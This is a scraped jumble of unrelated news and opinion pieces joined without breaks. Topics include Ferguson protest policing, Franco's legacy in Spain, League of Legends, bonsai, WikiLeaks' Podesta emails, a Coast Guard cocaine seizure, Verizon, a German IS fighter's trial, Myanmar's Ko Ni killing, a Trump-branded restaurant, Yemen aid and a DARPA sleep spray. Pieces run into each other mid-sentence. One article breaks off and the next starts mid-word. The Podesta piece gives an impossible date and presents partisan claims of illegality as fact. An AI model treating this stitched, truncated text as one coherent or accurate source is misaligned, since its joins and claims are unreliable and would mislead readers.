It took Ferguson Mayor James Knowles to convey just how out of touch with reality the state response to Mike Brown's murder has been. Asked during an appearance on MSNBC if his eyes had been opened to the grievances of the Black community regarding racial profiling and the lack of diversity in the police department, Knowles fired back:
There is not a racial divide in the city of Ferguson...There's 22,000 residents in our community, and this has affected about a half-mile strip of street. The rest of our community, the rest of the African Americans in our community, are going about their daily lives, going to our businesses, walking their dog, going to our neighborhood watch meetings... St. Louis itself has had a history of segregation--that is not in dispute--but the city of Ferguson has been a model for the region about how we transitioned from a community that was predominantly white middle class to a community that is predominantly African American middle class.
Hours later, Missouri's Republican lieutenant governor, Peter Kinder, criticized Democratic Gov. Jay Nixon for lifting the curfew in Ferguson--and went on to extol the virtues of "Anglo-American justice" and "Anglo-American civilization," while denouncing those who pursued "justice in the streets."
THE OTHER line of defense from police officials and political leaders is that their forces are really the victims--that they have been menaced by "a tiny minority of lawbreakers," according to Ron Johnson, the African American state Highway Patrol captain brought in to take over for the virtually all-white Ferguson police force.
At yet another post-midnight press conference early Tuesday to justify why the air over Ferguson hung heavy with tear gas once again, Johnson claimed that "violent criminals" were on the rampage among protesters--and even responsible for shooting at police.
But who has the guns in Ferguson? We know the cops do--and they don't hesitate to pull the trigger, even now. Later on Tuesday, only a few miles from Ferguson, St. Louis police shot to death another man who, according to the official story, was allegedly brandishing a knife--and two cops armed with guns apparently had no choice but to riddle his body with bullets.
This isn't to say, of course, that there hasn't been any looting or destruction of property since Mike Brown's murder--though the media has been less eager to report on the many instances, described by activists in Ferguson, of ordinary people preventing vandalism or attacks on property.
The anger stoked by a militarized police occupation and the ugly bigotry of local officials will inevitably boil over in these ways. But even then, the media doesn't tell the whole story. As SocialistWorker.org reported last week:
The biggest property damage was done to a QuikTrip convenience store that was set on fire and then tagged with anti-police graffiti. As it turned out, the crowd likely turned its anger on the store when word spread that someone at the store made the call to police reporting an alleged case of shoplifting, which was reportedly the pretext for the officer to stop Michael Brown in the first place. Other targets of protesters include a Walmart and check-cashing store--that is, symbols of poverty and exploitation in an impoverished neighborhood.
In addition, there may be some people among the protesters who are looking for a fight with police. St. Louis Alderman Antonio French, a fixture at the demonstrations from the start, charged on Twitter Tuesday night that a member of one left-wing organization was trying to "incite a riot," over the opposition of Ferguson residents.
Actually, the people of Ferguson have shown they need no such incitement to courageously stand up to police, night after night, despite the threat that they could be the cops' next victim, even if they remain entirely nonviolent.
But whatever the truth about this one incident, it is clearly the exception, not the rule--dwarfed by the continuous, routine and legally sanctioned violence of the forces of the state. Those among the political and media elite who insist otherwise--who persist in scapegoating "a tiny minority of lawbreakers"--are engaged in a smear campaign, with the purpose of squelching legitimate outrage and protest at a police murder.
FEW READERS of SocialistWorker.org will be surprised by deceit and hypocrisy from the corporate media--and even less so from the apparatchiks of the criminal injustice system. But it's more angering to hear similar logic from Black political leaders.
Rep. John Lewis, a leader of the civil rights movement who risked his life to confront Jim Crow segregation during the Freedom Rides and other campaigns, called on Barack Obama to declare "martial law" in Ferguson and federalize the Missouri National Guard "to protect people as they protest," Lewis told Andrea Mitchell on MSNBC.
The idea that Lewis could suggest the National Guard--notorious for firing on demonstrators during the urban rebellions of the 1960s, as well as hungry and homeless victims of Hurricane Katrina more recently--as a force for protecting the rights of Ferguson residents is stunning.
Throughout the past week and a half, Rev. Al Sharpton has called for protesters to curb their actions in the name of "calm." On August 17, he and the National Action Network provided a platform for Capt. Ron Johnson at a meeting at a church in Ferguson. The highway patrol officer apologized to the crowd and promised that it was going to be different on the streets. Instead, Johnson spent that night and each successive one explaining why police continue to attack protesters.
But among these figures, the most outrageous response has probably been from the first Black president of the United States, Barack Obama.
Obama did question Jay Nixon's decision to deploy National Guard troops to Ferguson--though he did nothing to countermand the order of his fellow Democrat. Otherwise, though, the president addressed protesters condescendingly, as if they were children who had misbehaved, rather than people struggling to get answers about the death of an unarmed Black teenager at the hands of police.
On Monday, answering a question about the polarized atmosphere that has led to nightly clashes, Obama declared that it was time for the community--not the police--to "listen and not just shout...That's how we're going to move forward together--by trying to unite each other and understand each other, and not simply divide ourselves from one another."
It's galling to think of the family of Mike Brown--not to mention the residents of Ferguson facing a nightly clampdown by the cops--hearing this sanctimonious lecture about the need to unite with the murderous cop who killed their son, or to understand the racist politicians who defend the police.
THE PEOPLE protesting racism and police violence in Ferguson have continued their struggle despite every effort to intimidate them off the streets--or to divert them into tamer channels.
At each turn, they've been scolded by government officials and political leaders--not only racist white police chiefs and Republican politicians, but people who claim to represent them--for refusing to accept "peace" in Ferguson on the terms imposed by the police occupation.
In 1965, the Black revolutionary Malcolm X gave an answer to questions about "peace" and "violence" that speaks for all of us today:
I don't favor violence. If we could bring about recognition and respect of our people by peaceful means, well and good. Everybody would like to reach his objectives peacefully. But I'm also a realist. The only people in this country who are asked to be nonviolent are Black people...I don't go along with anyone who wants to teach our people nonviolence until someone at the same time is teaching our enemy to be nonviolent.
The demonstrators in Ferguson are right to defy the campaign--carried out by cops in the streets and politicians over the airwaves--to stop them from fighting back. We must help them in any way we can to tell their story and continue the struggle.Image copyright AFP Image caption Gen Franco's dictatorship came to an end in 1975
Spain's Gen Francisco Franco fought a brutal war against democracy with the aid of Hitler and Mussolini and thereafter presided over a regime of state terror and national brainwashing through the controlled media and the state education system.
His investment in terror imbued the collective Spanish psyche with a determination never again to undergo such civil conflict or to suffer another dictatorship.
That remains the case to this day, exactly 40 years after his death.
However, unlike Hitler's Germany or Mussolini's Italy, where external defeat led to denazification processes, there was no equivalent in Spain - and the shadow of his regime still bedevils politics.
Franco's vengeful triumphalism had been fostered in the military academies, where officer cadets were trained to regard democracy as signifying disorder and regional separatism.
Image copyright Getty Images Image caption Colonel Antonio Tejero brandished a gun as he tried to take over Spain's parliament
As the dictatorship was rapidly dismantled, some of its senior military defenders did not share the massive political consensus in favour of democratisation and so endeavoured to turn back the clock at several moments in the late 1970s and, most dramatically, in the attempted coup of Colonel Antonio Tejero on 23 February 1981.
Death of a dictator
Image copyright Getty Images Image caption November 1975: Franco (1892 - 1975) lies in state at the Pardo Palace in Madrid.
General Franco, known as El Caudillo (Leader), died on 20 November 1975
In his last message to the nation the dictator said: "I ask pardon of all my enemies, as I pardon with all my heart all those who declared themselves my enemy, although I did not consider them to be so"
Prince Juan Carlos was sworn in as King of Spain on 22 November 1975
Media playback is unsupported on your device Media caption Witness: Death of Franco
After the defeat of the coup in 1981, the attitudes of the armed forces were changed by Spain's entry into Nato in 1982, which shifted their focus outwards from their previous obsession with the internal enemy.
Scarred by the horrors of the civil war and the post-war repression, during the transition to democracy Spaniards rejected both political violence and Franco's idea that, by right of conquest, one half of the country could rule over the other.
However, what was impossible in a democracy was a counter-brainwashing.
Residual support
Moreover, especially in his later years, Franco did not rule by repression alone: he enjoyed a considerable popular support. There were those who, for reasons of wealth, religious belief or ideological commitment, actively sympathised with his military rebels during the civil war.
Then, from the late 1950s onwards, there was the support of those who were simply grateful for rising living standards.
Although in the many national, regional and municipal elections that have been held in Spain since 1977, openly Francoist parties have never gained more than 2% of the vote, a residual acceptance of the values of the Franco dictatorship can be found in the ruling conservative Popular Party and its electorate.
Image copyright Getty Images Image caption Pro-Franco nationalists have never attracted much support in Spain since his death
Accordingly, no government has ever declared the Franco regime to be illegitimate. It was not until 2007 that the Law of Historical Memory made tentative efforts to recognise the sufferings of the victims of Francoism.
Equally slow has been the process of removing the symbols of the dictatorship, the Falangist equivalent of the swastika - its emblem of the yoke and arrows - on church walls, street names commemorating Franco's generals and, above all, the huge basilica and towering cross of the Valley of the Fallen where the dictator is buried.
Image copyright AFP
Franco's rule
1936: After coup, right-wing military leaders capture part of Spain leading to three-year civil war
1939: Gen Franco leads Nationalists to power, remains neutral in World War Two
First decade of rule sees continued oppression and killing of political opponents
20 November 1975: Franco dies; Franco-era crimes pardoned in 1977 under amnesty law
2007: Historical Memory law passed on removing symbols of Franco's rule
2008: Judge Baltasar Garzon investigates disappearance of tens of thousands of people during Franco era
Call for removal of Franco's remains from Valley of Fallen
UN presses Spain over Franco-era crimes and mass graves
Fate of Franco's Valley of Fallen reopens Spain wounds
Today, along with the still open wounds of the civil war and the repression, two other shadows of the dictatorship hang over Spain - corruption and regional division. The Caudillo's rigid centralism and its brutal application to the Basque Country and Catalonia had left more powerful nationalist movements there than had ever existed before 1936.
The democratic constitution of 1978 enshrined rights of regional autonomy for Catalonia and the Basque Country with which the right has never been comfortable.
Mass pressure in Catalonia for increased autonomy met with an intransigence that has fuelled a campaign for independence.
Drawing on a residual Francoist centralism, the Popular Party has fomented hostility to Catalonia in particular for electoral gain. The consequent divisiveness, at times bordering on mutual hatred, is one of the most damaging legacies of Francoism.
Image copyright AFP Image caption Support for Catalan independence has been fuelled by Madrid's perceived neglect of the region
The other is the corruption that permeates all levels of Spanish politics. Needless to say, there was corruption before Franco and corruption is not confined to Spain. Nevertheless, it is true that the Caudillo used corruption both to reward and control his collaborators.
Recent research has uncovered proof of how he used his power to enrich himself and his family. In general, the idea that public service exists for private benefit is one of the principal legacies of his regime.
It will thus be many years before Spain is free of Franco's legacy.
Paul Preston is Professor of Contemporary Spanish Studies at the London School of Economics and leading writer on Franco. Among his books are Franco: A Biography and The Spanish HolocaustWhen it comes to league of legends there are many ways to go about playing the same champion and role, however it is very important to remember the basics of your champion. In this article, I will talk mostly about support because that is where we can see some of the most drastic negative impacts of “playstyle” on success.
When it comes to playstyle we need to really understand what the term means, from my experience and using my pseudo-professional opinion I would define playstyle as how you deviate from the standard “accepted” way of playing a champion in a certain role. A great example of playstyle is in how someone plays in their lane, for example a Braum player can choose to play aggressively to apply his passive and scrap or choose to sit back and let their AD carry farm while taking damage using Unbreakable (E) to soak some damage.
On the other hand there are many who use the guise of “playstyle” as an excuse for bad play and will therefore not see much improvement in their gameplay or abilities. I have seen many players (especially supports) who will buy items that don’t help them as well as players who will make just simple mistakes for a champion mechanically and when they are questioned by their team they often cite their “playstyle” as their excuse for itemizing poorly.
The first place to decide your own playstyle is in the runes and masteries, you can even see this on a pro level by comparing the runes and masteries used by pro supports. For example in the above picture we can see the differences in runes between Lustboy and Zero. Even though they are playing different champions you can clearly see a difference in style in their runes, while zero runes a cheeky critical chance mark and a more defensive set in general he also runs a decent amount of mana regeneration glyphs. On the other hand lust boy has a much more aggressive page opting for a mana regeneration quintessence and even some ability power. Even in the masteries we can see a subtle difference, zero opts for the enhanced recall and takes a point out of his movement speed bonus in order to do it.
These are great examples of a playstyle difference between two players who are still playing the game relatively similarly (especially at such a high level). So if you were to take anything from this article just remember that playing poorly or itemizing poorly is not the same thing as having a different playstyle compared to the average player.Japan's ancient art of bonsai threatened by waning interest among youth
Posted
Masashi Hirao exudes the calm you'd expect of a bonsai master.
He speaks softly and appears to glide — not walk — as he moves around a bonsai tree with his golden scissors held aloft.
The act absorbs him, his eyes dart from branch to branch as he spins the artwork on its platform, carefully inspecting it from every angle.
"When I first saw a bonsai tree it reminded me instantly of the view and smell of the mountain where I played in Tokushima when I was young. That's how I entered the bonsai world," he says.
At 35, he's one of the youngest masters practising the craft in Japan. He says bonsai could die out unless another generation takes up the enthusiasm for the ancient pastime.
"There are not many young bonsai craftsmen and many bonsai trees are being exported overseas," he says.
"If this condition continues, bonsai will disappear in 30 years and bonsai craftsmen will also disappear."
Mr Hirao decided to meet the problem head on.
He now "performs" bonsai at galleries and festivals in the hope of attracting younger people.
He takes an unrefined bonsai tree and changes its shape, turning it into a finished work of art in 30 minutes.
"It's just showing how cool bonsai is and breaking the image of bonsai people have," Mr Hirao says.
He hopes his performance will spark an interest and prompt a visit to a bonsai nursery.
"I'm hoping when people come to the bonsai nursery and stand in front of a bonsai tree which doesn't move but is alive and older than they are, they can feel the energy or something that comes out of the tree without saying it in words."
There is evidence that bonsai trees were brought to Japan from China as souvenirs in the 6th century.
Bonsai trees came to adorn the homes of wealthy Japanese people and the "potted trees" became symbolic of Japan.
These days bonsai is seen in Japan as an old man's hobby.
Rumiko Ishida is the curator of the Bonsai Art Museum in Omiya, in western Tokyo.
She says the museum attracts a lot of visitors, but not young Japanese people.
"For Japanese people, many are senior-aged, but many of the foreign visitors are young and they're in their 30s and 40s," Ms Ishida says.
Austen Kosasih is a 26-year-old Melburnian who is in Japan studying an apprenticeship under bonsai master Kunio Kobayashi.
He believes bonsai is lost to Japan and its revival now depends on the rest of the world.
"As we speak, every single day, bonsai masterpieces in Japan are being shipped to the UK, to Europe, to China, to Taiwan. They are losing national treasures on a daily basis because there is a great decline in the hobby," Mr Kosasih says.
"It's sad, but it could be an uprising of a new bonsai generation worldwide, so I'm just hoping that will be the case.
Mr Kosasih runs a bonsai rental business in Melbourne, offering hotels, restaurants and shops the opportunity to rent one of his bonsai trees to adorn their premises.
He hopes it also prompts a more general interest in the hobby in Australia.
"I think that the one thing that us Australians have is that we love our DIY — we love it!" he says.
"Bonsai is DIY in essence, if you have a seed that you grow and you spend several generations to create something like this — it's a work of art."
For him, bonsai offers a peaceful escape from the hustle and bustle of city life.
"When I'm really in the zone to do bonsai I don't think about anything else. Hours can go by really quick. It's healing, it's meditative, you're so in touch with nature you tend to appreciate a lot of things that you see in your surroundings."
Topics: arts-and-entertainment, gardening, lifestyle-and-leisure, japan, melbourne-3000, australiaWith just two full days left before Tuesday's election day, moments ago WikiLeaks unveiled it latest, Part 32 dump, of Podesta emails, which released another 2,073 emails, bringing the total to 52,481.
Saturday's release provided more incriminating evidence of illegal activity at the Clinton Foundation, which according to an internal 2008 audit, "must act immediately to bring the Foundation into compliance with the law and standards that govern not-for-profits", it also showed that Hillary's campaign was paying for Bill Clinton's legal fees, a transaction of questionable legality, as well as exposing a Bill Clinton speech in which he hinted that the system "is rigged" and that Hillary "deserves the White House.
* * *
In today's release, several emails stand out: one is a July 25, 2015 email from John Podesta to Neera Tanden, in which we get the continuation of the infamous "drawn and quartered thread." Recall that on October 27, we showed an email in which Tander blasted Hillary's decision to have a private server as follows:
Do we actually know who told Hillary she could use a private email? And has that person been drawn and quartered?
Today we get Podesta's response, in which he says that as a result of the server revelations "At least we now know why Cheryl didn't want her to run."
* * *
More troubling, and a further indication of Clinton Foundation impropriety, is a January 4, 2012 email from Teneo's Doug Band, who has been extensively profiled on these pages, in which he accuses Chelsea Clinton of of "using foundation resources for her wedding and life for a decade."
* * *
CNBC's John Harwood returns on the "objective journalist" scene, with a September 31, 2015 question to John Podesta, asking what he should ask Jeb Bush in an interview due the next day.
* * *
This is rich...below is an email from John Podesta back in August 2015 complaining about "oversamples" in a New Hampshire poll.The US Coastguard has managed to lose 4,000 pounds of cocaine after making the biggest bust of its kind off California’s shores. A successful raid on a self-made submarine used to smuggle drugs last month ended with part of the cargo sinking into the abyss.
After seizing a “self-propelled semi-submersible vessel” with 16,000 pounds of cocaine on board, the authorities loaded some 12,000 pounds off it to take it to shore. The rest of the illegal cargo sunk, authorities claimed, as the crew of the Coast Guard Cutter Stratton from Alameda was towing the sub to shore.
“After removing 12,000 pounds of the narcotics aboard, the crew of Stratton attempted to tow the vessel to shore as evidence,” the Coast Guard said in a press release. “However, the semi-submersible began taking on water and sank.”
The lost illegal cargo now allegedly lies under some 13,000-feet of water.
The 40-foot vessel was first detected by US Navy aircraft more than 200-miles south of Mexico’s border, before the the Coast Guard apprehended the boat in US waters on July 18. The boat, operated by four suspected smugglers, contained approximately 275 bales of cocaine worth more than $181 million at the time of the bust.
Despite the multi-million dollar sinking fiasco, the Coast Guard praised its servicemen ability to secure US borders.
“Our success intercepting this drug-laden, self-propelled semi-submersible is a testament to the collaboration of our partner agencies, and demonstrates the importance of our increased presence in the Western Hemisphere,” said Vice Adm. Charles W. Ray, commander, Pacific Area. “Every interception of these semi-submersibles disrupts transnational organized crime networks and helps increase security and stability in the Western Hemisphere.”
The amateur-made subs are extremely difficult to detect as they are mostly submerged with only a cockpit and an exhaust pipe slightly noticeable above the surface. Since November 2006 the Coast Guard has 25 known semi-submersible interdictions stationed in the Pacific. The July 18 seizure was the largest recorded such interdiction in Coast Guard history.
READ MORE: High seas: Coast Guard shows off 14 tons of captured cocaine
The crew of Cutter Stratton in particular has been successful at disrupting 15 different drug smuggling attempts since April. In June the US Coast Guard vessel has seized another similar vessel carrying 5,460 pounds. Overall, since May, the Coast Guard credits Stratton with having disrupted the smuggling attempts of more than 33,000 pounds of cocaine worth more than $540 million.Verizon, which is in the midst of closing its deal for Yahoo, is open to M&A talks with the likes of Comcast, Disney and CBS, CEO Lowell McAdam said in an interview with Bloomberg.
A Verizon spokesman confirmed McAdam’s comments but said “the remark was more in the context of, ‘We’re always open to talking to anyone.'”
“If [Comcast CEO] Brian [Roberts] came knocking on the door, I’d have a discussion with him about it,” McAdam said, according to Bloomberg. He added that he would do the same thing if Disney’s Bob Iger or CBS’s Leslie Moonves came calling.
McAdam’s signal that Verizon is hunting for a game-changing deal comes after rival AT&T bid $85 billion for Time Warner to diversify into the entertainment business. AT&T also owns DirecTV, the No. 1 satellite TV provider, and has launched the over-the-top DirecTV Now service as a new competitor in the market.
Of course, just because Verizon’s chief exec says the company would be interested in a mega-deal doesn’t mean such discussions will come to pass.
Separately Tuesday, Yahoo said in announcing Q1 results that Verizon’s $4.5 billion deal for its operating businesses is expected to close in June. Once that’s completed, Verizon plans to merge Yahoo and AOL into a new entity called “Oath.” Yahoo CEO Marissa Mayer is reportedly not going to join the telco, which lopped $350 million off the purchase price after Yahoo disclosed two massive data breaches that occurred in 2013 and 2014.
Related Bob Iger on Hostless Oscars: 'It's Been a Rollercoaster' Live+7 Ratings for Week of Feb. 4: 'Big Bang Theory' Tops Scripted Competition
Wall Street has been rife with rumors and speculation recently about a variety of interesting potential combos, including such scenarios as Apple buying Disney and Disney acquiring Netflix.
Earlier this year, Verizon was considering a highly leveraged mega-billion deal for Charter Communications, which became the second-biggest cable operator in the U.S. after buying Time Warner Cable, the Wall Street Journal reported. Meanwhile, Verizon is said to be planning to enter the over-the-top pay-TV sector this summer with an internet-delivered national service that includes several dozen channels.
Verizon shares closed up 0.8% Tuesday. CBS ended the day up 1.8%, while Comcast was up 1.05% and Disney stock closed up 0.4%The players at TuS Makkabit Frankfurt remember Kreshnik B. as a reliable defender. As a member of the Jewish football club's youth B-team, he kept opposing players away from his goal and even shot a few of his own. Kreshnik B., who is Muslim, happily wore the blue jersey of the team, despite it being decorated with Hebraic lettering and the Star of David. "He was proud to take the field with the star," club leader Alon Meyer recalls.
Not even three years after playing for the team, Kreshnik swapped the football field for the battlefield. In the name of Allah, he allegedly joined the radical Islamist organization Islamic State in its fight to set up an Islamic caliphate in the Middle East. "Jihad these days is an individual's duty," he wrote his sister from the Middle East and asked her to pray that he might fall as a martyr. "I'm chillin', fighting, doing my job for Allah. I take my Kalashnikov and bismillah," he rhymed.
The five months that Kreshnik B., now 20, spent in Syria fighting for Islamic State are now the subject of a case which began in Frankfurt on Monday. He stands accused of membership in a terrorist organization and of "preparing a serious act of violent subversion."
His trial marks the first time that a presumed Islamic State fighter has appeared in front of a German court. It won't be the last. The number of jihadists who have left the country for Syria along with the number of Islamic State's supporters in Germany is already much higher than it ever was during the Afghanistan conflict. Currently, there are around 140 investigations under way in Germany against Islamic State fighters or their supporters. And the number is climbing. Federal state prosecutors have taken on 33 cases involving more than 60 suspects, but the flood of cases has begun clogging up dockets across the country.
Politicians have also begun considering ways to stop the jihadists and their increasingly bold propaganda promoting the "holy war." Last Friday, German Interior Minister Thomas de Maizière made any form of support for Islamic State illegal and an association of state working groups under the leadership of the Hesse Interior Ministry is currently looking into ways of preventing young Muslims from sliding into the militant Islamist scene in the first place. The aim is to combat the consistently rising number of young Muslims joining the jihad.
'Tell Mom She Shouldn't Be Frightened'
In many ways, Kreshnik B., the son of refugees from Kosovo, is a typical representative of jihad Made in Germany. The indictment claims that he boarded an Istanbul-bound bus in Frankfurt with six others in 2013. From there, they continued on to Syria.
"I really don't care which group I end up fighting for," Kreshnik wrote to his sister during the journey. "The most important thing is that I fight for Sharia and that I can do many deeds to serve God." As fate would have it, he ended up joining Islamic State near the Syrian city of Aleppo.
Other extremist groups refused to accept the inexperienced men from the West, most of whom were unable to speak Arabic. But Islamic State took almost all of them, as cannon fodder, suicide bombers or, should it become necessary, hostages for ransom money.
Kreshnik B. went through a weapons training program, performed guard duties and fought. Back in Germany, his parents went to the police and were apparently ready to travel to Syria to convince their son to come home. "Tell mom that she shouldn't be frightened, because I have my weapon with me," Kreshnik wrote to his sister.
But the fun of jihad didn't last long. Soon, Kreshnik began complaining to his sister of harassment from his commander, and of arguments and boring guard shifts. On one day, he reported, "three or four people" from his group died. We "shot tanks and tried everything, but nothing worked."
Then, the head of the group came and said: "I need four people to go in who won't come out alive." The German jihadist wasn't prepared for such a mission after all and traveled back to Frankfurt on Dec. 12, 2013, where he was arrested.
Part of the Salafist Scene
Exactly what pushed young people like Kreshnik B. to risk their lives in faraway wars was long a mystery to German authorities. But security officials recently assembled an 18 |
ung San Suu Kyi arrives to attend a memorial ceremony to mark one month from the killing of Ko Ni and taxi driver Ne Win. Credit:AP On February 26, more than four weeks after the killing, Myanmar's Office of the President distributed a photo of him and announced in a brief statement the killing was ordered by 45-year-old Aung Win Khine, who was still at large. The statement did not mention that Aung Win Khine was a former lieutenant-colonel who retired from Myanmar's army in 2014. Aung San Suu Kyi remained silent for weeks and was absent from Ko Ni's funeral, prompting criticisms about her inability or unwillingness to speak out on many issues. Credit:AP Also arrested was another former soldier, Aung Win Khine's 46-year-old brother Aung Win Zaw.
The military denies any involvement in the plot. Myanmar Police Chief Officer Zaw Win - officers claim the plot to kill Ko Ni was hatched in a tea shop in April last year by a group of men who held a personal grudge against him. Credit:AP But Myanmar experts sitting on a panel at the Foreign Correspondents' Club of Thailand painted a picture of a military leadership with a bunker mentality obsessed with the belief that only generals can rule the country and keep it united, and who had the most to benefit from Ko Ni's death. Larry Jagan, a commentator and analyst living in Myanmar who has been following the country for 40 years, quoted military sources telling him last year that the military saw Ko Ni as its most serious threat because he was leading the push for constitutional change, although he believes the order for the assassination did not come from the military's top ranks. He said as a result of the death those in the NLD who had wanted to move quietly and not push the military on constitutional reform now hold sway.
Asked about this, Crouch said she didn't think the reform push had ended but "it may require a change of tactics and patience". Anthony Davis, a security consultant and analyst with defence publisher Jane's, said the military organised a fraudulent constitution in 2008 that allowed it to effectively continue to operate as a state within the state, maintaining its grip despite all the talk of a transformed Myanmar ruled by a democratically elected government. Davis said the military wanted to be seen as moving towards democracy because it had no choice in today's world, but generals always saw it as a "disciplined" or "guided" democracy, where they still dominated all aspects of Burmese society in much the same way they have for more than 50 years. "Even before the 2015 election, but especially in the days after, there has been a facile, childlike enthusiasm for democratic change, a belief the country was being transformed and was on the right track," he said. "But basically if you set that vision of where the military has come from and where it is today, it disappears in a puff of smoke."
Analysts say Ko Ni's death is a pivotal point in the history of the country, rekindling deep concerns about its future. "The bullet was not only for Ko Ni. It was for the NLD and the people who want to amend and replace the 2008 Constitution and support the peace process," said Thein Than Oo, a human rights lawyer in Mandalay. The killing stunned the NLD. But for weeks Aung San Suu Kyi remained inexplicably silent. She was absent from Ko Ni's funeral, prompting further criticisms about her inability or unwillingness to speak out on many issues, including military offensives against ethnic armies in border areas and atrocities against Rohingyas in western Rakhine state, which the UN has described as ethnic cleansing and "very likely" crimes against humanity. Phil Robertson, deputy Asia director at Human Rights Watch, said the military is "more than happy to have Aung San Suu Kyi as their international flak-catcher" while its business conglomerate reaps the rewards of the lifting of economic sanctions by Western nations, which she recommended. Davis, who has deep knowledge of Myanmar's army, believes the country's future is "looking pretty bleak" now that the NLD has lost Ko Ni.
He envisages the military, which under the constitution controls the ministries of defence, home and interior, and is automatically allocated 25 per cent of seats in parliament, will want to see Suu Kyi remain in place for years while keeping her powerless on a wide range of issues. He said the Nobel laureate will be 75 at the time of the next elections in 2020 and given the NLD's weak leadership in its first year in office, her party may even struggle to retain office. Crouch said Ko Ni's death was seen as a personal attack on members of the NLD while for lawyers it was seen as an outrageous attack on their profession. "However, I would suggest his death has been felt hardest for Muslims," Crouch said, pointing out that there was an increase in online hate speech against Muslims in the days after the killing. Ashin Wirathu, a radical Buddhist monk, even praised the killers.
Loading "As a Muslim, Ko Ni achieved public respect and fame in a way that no other Muslim has achieved in a very long time," Crouch said. "His assassination is a clear message to the Muslim community – intended or otherwise – you are not welcome here, we do not want you to contribute to the future of our country, your safety and life is at risk, leave."A hotel restaurant that was once the place to be for celebrities and wealthy patrons is shutting its doors because customers seemingly don’t want to frequent a location if the name “Trump” is on the marquee outside.
Koi, a high end sushi restaurant in the Trump SoHo hotel, will close its doors in June (though Yelp has jumped the gun and already says it is closed for good on its website). Business was booming there not long ago, but the election of Donald Trump has apparently kept people away in protest, according to employees.
“Obviously, the restaurant is closing because business is down. I don’t think anyone would volunteer to close a business if they were making money,” Suzanne Chou, Koi Group’s general counsel, told Grubstreet. “Beyond that, I would prefer not to speculate as to why, but obviously since the election it’s gone down.”
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
The restaurant, just one in a chain that reaches worldwide, is was once popular with celebrities and professional athletes. The locations, according to reviews, are generally busy and reservations can be hard to come by.
But that is no longer the case for Koi SoHo.
The restaurant closure is the latest sign of the fallout seen in Trump branded hotels and locations since the polarising president pulled off a surprise victory over Hillary Clinton in November. Following the election, the Trump International Hotel in Washington saw two celebrity chefs back out and struggled to find replacements, residents of a Manhattan property lobbied successfully to take the name off of their building, and professional basketball teams and players — including Cleveland Cavaliers superstar LeBron James — announced they would be boycotting Trump hotels on away games, too.
Other Koi locations are reportedly doing fine, though, and the SoHo location is reportedly considering a move to a different location in downtown Manhattan. A sister location closer in Midtown Manhattan is reportedly not experiencing any drop in business since the election, either.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowAt the Republican National Convention this week, Rep. Peter King from Long Island, chairman of the House Committee on Homeland Security, attacked The Associated Press for its award-winning investigation into the NYPD’s illegal surveillance operations.
King had nothing but contempt for the respected journalists responsible for the AP’s reports, Matt Apuzzo and Adam Goldman, telling Salon reporter Michael Tracey that the two had “no moral integrity.” And ProPublica, another award-winning operation that debunked widely cited claims that the NYPD had foiled 14 terrorist plots since 9/11 — a claim King repeated at the convention — is a “left-wing publication” equally deserving of disregard.
“It’s the best police department in the world,” King said of the NYPD, and went on to slather praise on Mayor Michael Bloomberg and Police Commissioner Ray Kelly. “We should thank god every night for the NYPD, and we should pray for the souls of the AP,” he said.
— Posted by Alexander Reed Kelly.The United States welcomes the announcement from Saudi Arabia and the Saudi-led coalition that it is reopening Hudaydah port and Sanaa International Airport to allow the urgent flow of humanitarian aid to the people of Yemen. Full and immediate implementation of the announced measures is a first step in ensuring that food, medicine, and fuel reach the Yemeni people and that the aid organizations on the frontlines of mitigating this humanitarian crisis are able to do their essential work. We look forward to additional steps that will facilitate the unfettered flow of humanitarian and commercial goods from all ports of entry to the points of need. The magnitude of suffering in Yemen requires all parties to this conflict to focus on assistance to those in need. All sides must support a political process with facilitating humanitarian relief as the top priority.Whenever I talk about the possibilities of human enhancement, sexy and otherwise, I do so with the hope that the benefits outweigh the costs. I understand that all progress comes at a cost. I also understand that it’s impossible to know the full extent of those costs until the genie is out of the bottle and the bottle is destroyed.
Never-the-less, I still think the risks we take with future technology are worth taking. In fact, I would argue we have to take them because our caveman tendencies towards tribalism and our inherent vulnerability to bullshit is a clear indication that our current situation is not working well enough. We, as a species, need to improve if we’re going to function on this confined planet.
Certain enhancements will do a lot more than others. I’ve mentioned emerging tools like smart blood, brain implants, and CRISPR. It’s impossible to overstate the kind of impact those advances will have on the human condition. They will be akin to giving a light sabre to a chimp.
Other enhancements, however, will have a more subtle effect. They’re also likely to happen sooner, despite Elon Musk’s best efforts. That brings me back to sleep and the annoying need to spend a third of our lives doing it. I’ve already asked people to consider how their life would change if they didn’t have to sleep as much. Well, I have a confession to make. That was kind of a loaded question.
That’s because that, as we speak, there are efforts underway to reduce or eliminate our need to sleep. This is not some far-off fantasy out of a “Star Trek” re-run. This is actually happening, courtesy of DARPA, also known as the Defense Department’s officially-sanctioned mad science division.
However, there’s nothing mad about their motivations. DARPA is in the business of developing obscenely-advanced technology to ensure that the United States Military remains the most technologically advanced military on the planet by an obscene margin. Part of that effort involves developing technology that creates soldiers that don’t have to sleep.
In the grand scheme of things, that’s one of the least weird projects they’ve pursued. This is a department that is researching flying submarines for crying out loud. As awesome/crazy as those concepts are, this potential breakthrough in sleep technology could have implications that go far beyond having soldiers that don’t require a nap.
According to Wired, DARPA’s years of mad science has culminated in the development of a spray that users would apply, just like ordinary nasal spray. The spray contains a naturally-occurring brain hormone called Orexin A, which helps keep the brain in a state of alertness without the aid of heavy stimulates or copious amounts of coffee.
It’s somewhat crude in that it’s basically dumping chemicals into the brain and hoping for the best. That approach is not that different from those of other psychoactive drugs, which are fraught with all kinds of danger. Unlike other emerging technologies, though, this one is already happening. From here, it’s just a matter of refinement.
At the moment, the technology is basic and unrefined, but that’s how all technology starts. Just look at the models of old cell phones. That refinement will occur, though. There’s too much potential profit in it. Between truckers, grade-grubbing college students, and marathon gaming, there are a lot of people out there who would gladly pay to not have to sleep.
Depending on how much it costs, I would certainly jump at the chance to not feel so damn tired on a Monday morning. It would also give me more time and energy to write more sexy novels or explore more sexy issues on this blog. When sleep becomes optional and you have a lot of stuff you want to do, this sort of technology suddenly becomes invaluable.
I doubt I’m the only one whose life would invariably change, due to this technology, and I’m not just talking about hardcore night owls. Think about all the people who work demanding, energy-sapping jobs. These jobs don’t just put a huge premium on sleep. They can be downright damaging. Take away the need to sleep and suddenly, these people can have a life again.
